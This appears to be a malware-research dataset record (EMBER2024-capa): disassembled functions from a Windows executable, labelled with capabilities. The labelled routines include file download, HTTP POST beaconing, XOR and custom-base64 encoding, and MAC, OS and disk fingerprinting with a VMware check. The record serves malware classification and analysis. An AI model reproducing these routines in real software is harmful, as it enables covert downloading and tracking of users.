joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401040
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0x118
push ebx
push edi
mov edi, dword [esp + 0x124]
mov ebx, ecx
test edi, edi
je 0x4010a1
push esi
lea esi, [edi + 4]
mov dword [ebx + 4], edi
lea ecx, [esp + 0xc]
mov eax, dword [esi]
push ecx
push eax
call sub.MFC42.DLL_CFile::GetStatus
test eax, eax
je 0x40107f
mov eax, dword [esi]
lea edx, [esp + 0xc]
push edx
push eax
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CFile::SetStatus
push ebx
push 0x104
push 0
mov ecx, esi
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
mov ecx, edi
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
pop esi
pop edi
pop ebx
add esp, 0x118
ret 4

Function at 0x401b0a
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x4024e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0x18]
call fcn.00401000
lea eax, [esi + 0xe4]
lea ecx, [esp + 0x18]
push eax
mov dword [esp + 0x2c], 0
call fcn.00401040
mov ecx, dword [esi + 0xf0]
mov edx, dword [esi + 0xec]
mov ebx, dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 2
push ecx
push edx
call ebx
call sub.ZipperEx.dll_struct_IZipper____cdecl_GetInstance_void_
mov edi, eax
push ecx
lea eax, [esi + 0xdc]
mov ecx, esp
mov dword [esp + 0x14], esp
push eax
call sub.MFC42.DLL_CString::CString_2
push ecx
lea ebp, [esi + 0xe8]
mov ecx, esp
mov dword [esp + 0x1c], esp
push ebp
mov byte [esp + 0x34], 1
call sub.MFC42.DLL_CString::CString_2
mov edx, dword [edi]
mov ecx, edi
mov byte [esp + 0x30], 0
call dword [edx + 4]
mov ebp, dword [ebp]
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esi + 0xf0]
mov ecx, dword [esi + 0xec]
push 0
push 3
push eax
push ecx
mov dword [esi + 0xd8], 0
call ebx
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
call fcn.00401030
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret
Function at 0x40148e
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x473eb0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x401523
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x4014e0
cmp dword [ebp + 0x10], ebx
jne 0x401517
push ebx
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 4]
call fcn.0040148e
test eax, eax
jne 0x4014f2
push edi
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014c7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00406320
cmp eax, ebx
je 0x40152a
push ebx
push dword [0x473eb0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x401523
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x473eb0], ebx
jne 0x401520
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x401520
jmp 0x401523
Function at 0x4033a6
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
mov dword [ebp - 8], esi
jne 0x4033c6
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
test edi, edi
mov ebx, edi
jne 0x4033d5
mov ebx, 0x424150
mov eax, dword [ebp + 8]
test eax, eax
jl 0x4033ea
mov ecx, dword [0x473e18]
add ecx, eax
push ecx
call fcn.0040338f
push 4
lea eax, [ebp + 0x14]
push eax
call fcn.0040335d
test eax, eax
jne 0x403401
push 0xfffffffffffffffd
pop eax
jmp 0x403560
test dword [ebp + 0x14], 0x80000000
je 0x40353f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x434158
mov dword [ebp - 0xc], eax
call fcn.00407cae
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x40355d
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x403441
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x420150
push edi
call fcn.0040335d
test eax, eax
je 0x4033f9
sub dword [ebp + 0x14], esi
mov dword [0x434170], edi
mov dword [0x434174], esi
mov eax, dword [ebp - 8]
mov ecx, 0x434158
mov dword [0x434178], ebx
mov dword [0x43417c], eax
call fcn.00407cce
test eax, eax
mov dword [ebp - 0x10], eax
jl 0x403531
mov esi, dword [0x434178]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x473eb4], 1
mov edi, eax
je 0x4034e5
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x4034ac
cmp dword [ebp + 0x14], 0
jne 0x4034e5
push dword [ebp + 8]
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x94]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
push 0
call fcn.00404fa5
mov dword [ebp - 0xc], edi
xor eax, eax
cmp esi, eax
je 0x403526
cmp dword [ebp + 0x10], eax
jne 0x40350e
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403538
cmp dword [ebp - 0x14], esi
jne 0x403538
add dword [ebp - 4], esi
jmp 0x40351a
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x434178]
cmp dword [ebp - 0x10], 1
jne 0x403460
jmp 0x40355d
cmp dword [ebp + 0x14], eax
jg 0x403434
jmp 0x40355d
push 0xfffffffffffffffc
jmp 0x4033fb
push 0xfffffffffffffffe
jmp 0x4033fb
test edi, edi
je 0x4035a6
cmp dword [ebp + 0x14], esi
jge 0x40354b
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.0040335d
test eax, eax
je 0x4033f9
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403572
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x420150
push edi
call fcn.0040335d
test eax, eax
je 0x4033f9
push 0
lea eax, [ebp + 0x10]
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403538
cmp esi, dword [ebp + 0x10]
jne 0x403538
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403567
jmp 0x40355d
Function at 0x405c67
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x458278
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x458278], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405ca2
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405e57
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x405e74
and eax, 0xfffffffe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
ret 4

Function at 0x405e77
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
inc ecx
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x405ea6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a6c4]
mov dword [ebp - 8], eax
mov eax, dword [0x40a6c8]
dec edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x405ef6
test edi, edi
jne 0x405eb3
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x405ef0

Function at 0x405efa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
xor edi, edi
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push edi
push dword [ebp + 0xc]
mov word [esi], di
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405f6e
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x14]
push eax
push edi
push dword [ebp + 0x10]
mov dword [ebp + 0xc], 0x4008
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x405f5b
cmp dword [ebp + 0x14], 1
je 0x405f5e
cmp dword [ebp + 0x14], 2
je 0x405f5e
mov word [esi], di
push dword [ebp + 0x18]
mov word [esi + 0x4006], di
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
ret 0x14
Function at 0x40610b
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406134
mov eax, dword [0x40c058]
cmp eax, 0xffffffff
je 0x406128
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40c058], 0xffffffff
jmp 0x4061df
cmp dword [0x462528], ebx
je 0x4061df
cmp word [0x46b560], bx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x4061ab
cmp dword [0x40c058], 0xffffffff
jne 0x4061b4
mov esi, 0x46b560
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 4
push 0x40000000
push esi
mov dword [ebp + 8], eax
call fcn.00405e77
cmp eax, 0xffffffff
mov dword [0x40c058], eax
je 0x4061dd
cmp dword [ebp + 8], 0xffffffff
jne 0x4061a0
push ebx
lea ecx, [ebp - 4]
push ecx
push 2
lea ecx, [ebp + 8]
push ecx
push eax
mov dword [ebp + 8], 0xfeff
call edi
mov eax, dword [0x40c058]
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40c058], 0xffffffff
je 0x4061dd
push 0x40a6e0
mov esi, 0x462540
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea ecx, [ebp + 8]
push ecx
add eax, eax
push eax
push esi
push dword [0x40c058]
call edi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x406798
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x4582c0
push esi
call fcn.0040602d
push esi
call fcn.00405d80
mov edi, eax
test edi, edi
jne 0x4067b9
xor eax, eax
jmp 0x406817
push edi
call fcn.0040605c
test byte [0x473e28], 0x80
je 0x4067d6
movzx eax, word [edi]
test ax, ax
je 0x4067b5
cmp ax, 0x5c
je 0x4067b5
sub edi, esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
sar edi, 1
jmp 0x4067f8
push esi
call fcn.004062f9
test eax, eax
je 0x4067f2
test byte [eax], 0x10
je 0x40681c
push esi
call fcn.0040676c
push esi
call ebx
cmp eax, edi
jg 0x4067e3
push esi
call fcn.0040673d
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x406816
Function at 0x406ab1
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0x40a8f0
mov ebx, 0x45c2c8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [esp + 0x1c]
xor ebp, ebp
cmp edi, ebp
mov esi, 0x400
je 0x406aff
push 1
push ebp
push edi
call fcn.00405e77
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x406c76
cmp eax, esi
jg 0x406c76
push esi
mov edi, 0x461920
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x406c76
cmp eax, esi
jg 0x406c76
push ebp
push ebp
push esi
push 0x45cac8
push 0xffffffffffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
call ebx
test eax, eax
je 0x406c76
push ebp
push ebp
push esi
mov esi, 0x45d118
push esi
push 0xffffffffffffffff
push edi
push ebp
push ebp
call ebx
test eax, eax
je 0x406c76
push esi
push 0x45cac8
push str._s_s_r_n
push 0x45d518
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x473ddc]
push dword [eax + 0x13c]
push edi
call fcn.00406820
push 4
push 0xc0000000
push edi
call fcn.00405e77
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x406c76
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
cmp esi, ebp
je 0x406c6c
push ebp
lea eax, [esp + 0x14]
push eax
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406c6c
cmp edi, dword [esp + 0x10]
jne 0x406c6c
push str._Rename__r_n
push esi
call fcn.00405ddd
cmp eax, ebp
jne 0x406c03
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x406c34
push 0x40a8e4
add eax, 0xa
push eax
call fcn.00405ddd
mov ebp, eax
test ebp, ebp
je 0x406c32
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x406c25
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x406c1f
sub ebp, esi
inc ebp
mov eax, ebp
xor ebp, ebp
jmp 0x406c36
xor ebp, ebp
mov eax, edi
push ebx
push 0x45d518
add eax, esi
push eax
call fcn.00405e33
push ebp
push ebp
push ebp
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebp
lea eax, [esp + 0x14]
push eax
add edi, ebx
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x407277
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x58]
sub esp, 0x94
push ebx
push edi
xor ebx, ebx
push 0x7f
lea eax, [ebp - 0x3b]
push ebx
push eax
mov dword [ebp + 0x4c], ebx
mov dword [ebp + 0x44], 1
mov dword [ebp + 0x54], ebx
mov byte [ebp - 0x3c], bl
call fcn.0040872a
add esp, 0xc
push ebx
push ebx
push 3
mov eax, 0x40ac15
push eax
push eax
push dword [ebp + 0x78]
push dword [ebp + 0x60]
call fcn.004071dc
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, ebx
mov edi, dword [ebp + 0x74]
mov dword [ebp + 0x48], eax
je 0x407409
push ebx
push 0x84080100
push ebx
push ebx
push ebx
push dword [ebp + 0x64]
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [ebp + 0x50], eax
je 0x4073fb
push esi
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea ecx, [ebp + 0x7c]
push ecx
push 2
push eax
call esi
push 4
lea eax, [ebp + 0x7c]
push eax
push 6
push dword [ebp + 0x50]
call esi
push 4
lea eax, [ebp + 0x7c]
push eax
push 5
push dword [ebp + 0x50]
call esi
push 4
lea eax, [ebp + 0x44]
push eax
push 3
push dword [ebp + 0x50]
call esi
push dword [ebp + 0x6c]
push dword [ebp + 0x68]
push ebx
push ebx
push dword [ebp + 0x50]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4073f1
lea eax, [ebp + 0x7c]
push eax
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x13
push dword [ebp + 0x50]
mov esi, 0x80
mov dword [ebp + 0x54], esi
mov dword [ebp + 0x7c], ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x4073f1
cmp byte [ebp - 0x3c], 0x32
jne 0x4073f1
cmp byte [ebp - 0x3b], 0x30
jne 0x4073f1
cmp byte [ebp - 0x3a], 0x30
jne 0x4073f1
mov eax, dword [ebp + 0x70]
mov dword [eax], ebx
mov dword [edi], ebx
mov dword [ebp + 0x54], esi
jmp 0x4073d4
mov ecx, dword [ebp + 0x54]
cmp ecx, ebx
jbe 0x4073ea
mov eax, dword [edi]
cmp eax, ebx
jne 0x4073a2
push ecx
call fcn.004071fc
jmp 0x4073b0
add eax, ecx
push eax
mov eax, dword [ebp + 0x70]
push dword [eax]
call fcn.0040723d
pop ecx
pop ecx
mov ecx, dword [ebp + 0x70]
mov dword [ecx], eax
mov eax, ecx
mov eax, dword [eax]
cmp eax, ebx
je 0x4073f1
push dword [ebp + 0x54]
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [edi]
add ecx, eax
push ecx
call fcn.00405e33
mov eax, dword [ebp + 0x54]
add dword [edi], eax
lea eax, [ebp + 0x54]
push eax
push esi
lea eax, [ebp - 0x3c]
push eax
push dword [ebp + 0x50]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40738d
mov dword [ebp + 0x4c], 1
push dword [ebp + 0x50]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
push dword [ebp + 0x48]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp + 0x4c], ebx
jne 0x407410
mov eax, dword [ebp + 0x70]
mov dword [eax], ebx
mov dword [edi], ebx
mov eax, dword [ebp + 0x4c]
pop edi
pop ebx
add ebp, 0x58
leave
ret
Function at 0x40741a
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jle 0x407443
push edi
mov eax, dword [esp + 0xc]
lea ecx, [esi + eax]
mov eax, esi
cdq
push 0xa
pop edi
idiv edi
mov al, byte [edx + str.JZS_URQ_Z5]
xor byte [ecx], al
inc esi
cmp esi, dword [esp + 0x10]
jl 0x407424
pop edi
pop esi
ret

Function at 0x407445
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
lea eax, [edi + 2]
test eax, eax
jl 0x407549
push 3
cdq
pop ecx
idiv ecx
cmp eax, 0x40000000
jge 0x407549
cmp edi, 2
mov ecx, dword [ebp + 0x10]
jle 0x4074df
push ebx
xor edx, edx
push 3
lea eax, [edi - 3]
pop ebx
div ebx
inc eax
mov edx, eax
imul edx, edx, 0xfffffffd
add edi, edx
movzx edx, byte [esi]
shr edx, 2
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], dl
movzx edx, byte [esi]
movzx ebx, byte [esi + 1]
and edx, 3
shl edx, 4
shr ebx, 4
mov dl, byte [edx + ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], dl
movzx edx, byte [esi + 1]
movzx ebx, byte [esi + 2]
and edx, 0xf
shr ebx, 6
mov dl, byte [ebx + edx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], dl
movzx edx, byte [esi + 2]
and edx, 0x3f
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], dl
inc ecx
add esi, 3
dec eax
jne 0x407487
pop ebx
test edi, edi
je 0x407534
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
and eax, 3
inc ecx
shl eax, 4
cmp edi, 1
jle 0x407523
movzx edx, byte [esi + 1]
shr edx, 4
mov al, byte [eax + edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi + 1]
inc ecx
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
jmp 0x40752f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x407542
mov edx, ecx
sub edx, dword [ebp + 0x10]
mov dword [eax], edx
mov byte [ecx], 0
xor eax, eax
jmp 0x40754c
or eax, 0xffffffff
pop edi
pop esi
pop ebp
ret
Function at 0x4075ff
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x120
push esi
push 0x118
lea eax, [ebp - 0xa8]
push 0
push eax
mov dword [ebp - 0xac], 0x11c
call fcn.0040872a
mov esi, dword [ebp + 0x7c]
and dword [ebp + 0x70], 0
add esp, 0xc
lea eax, [ebp - 0xac]
push eax
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4076bd
cmp dword [ebp - 0xa8], 6
movzx eax, byte [ebp + 0x6e]
mov dword [ebp + 0x70], eax
jb 0x40768d
push str.GetProductInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40768d
lea ecx, [ebp + 0x70]
push ecx
movzx ecx, word [ebp + 0x6a]
push ecx
movzx ecx, word [ebp + 0x68]
push ecx
push dword [ebp - 0xa4]
push dword [ebp - 0xa8]
call eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push eax
push dword [ebp + 0x70]
movzx eax, word [ebp + 0x68]
push dword [ebp - 0xa0]
push eax
push dword [ebp - 0xa4]
push dword [ebp - 0xa8]
push str._d__d__d__d__d__d
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
mov eax, esi
pop esi
add ebp, 0x74
leave
ret

Function at 0x4076c5
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x288
push edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call fcn.004071fc
mov esi, eax
cmp esi, ebx
pop ecx
je 0x407785
push dword [ebp - 4]
push ebx
push esi
call fcn.0040872a
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], edi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x40773b
push esi
call fcn.0040721c
push dword [ebp - 4]
call fcn.004071fc
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x407785
push dword [ebp - 4]
push ebx
push esi
call fcn.0040872a
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, ebx
mov edi, esi
jne 0x40777a
cmp dword [esi + 0x1a0], 6
jne 0x407760
push str.vmware
lea eax, [esi + 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x407768
mov esi, dword [esi]
cmp esi, ebx
jne 0x407741
jmp 0x40777a
push 8
add esi, 0x194
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.00405e33
cmp edi, ebx
je 0x407785
push edi
call fcn.0040721c
pop ecx
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407790
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004076c5
mov esi, eax
xor eax, eax
push eax
push eax
push eax
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push 0x40ac90
mov edi, edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 4]
push esi
push edi
push str._u__u__u
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [ebp + 8]
add esp, 0x14
pop edi
pop esi
leave
ret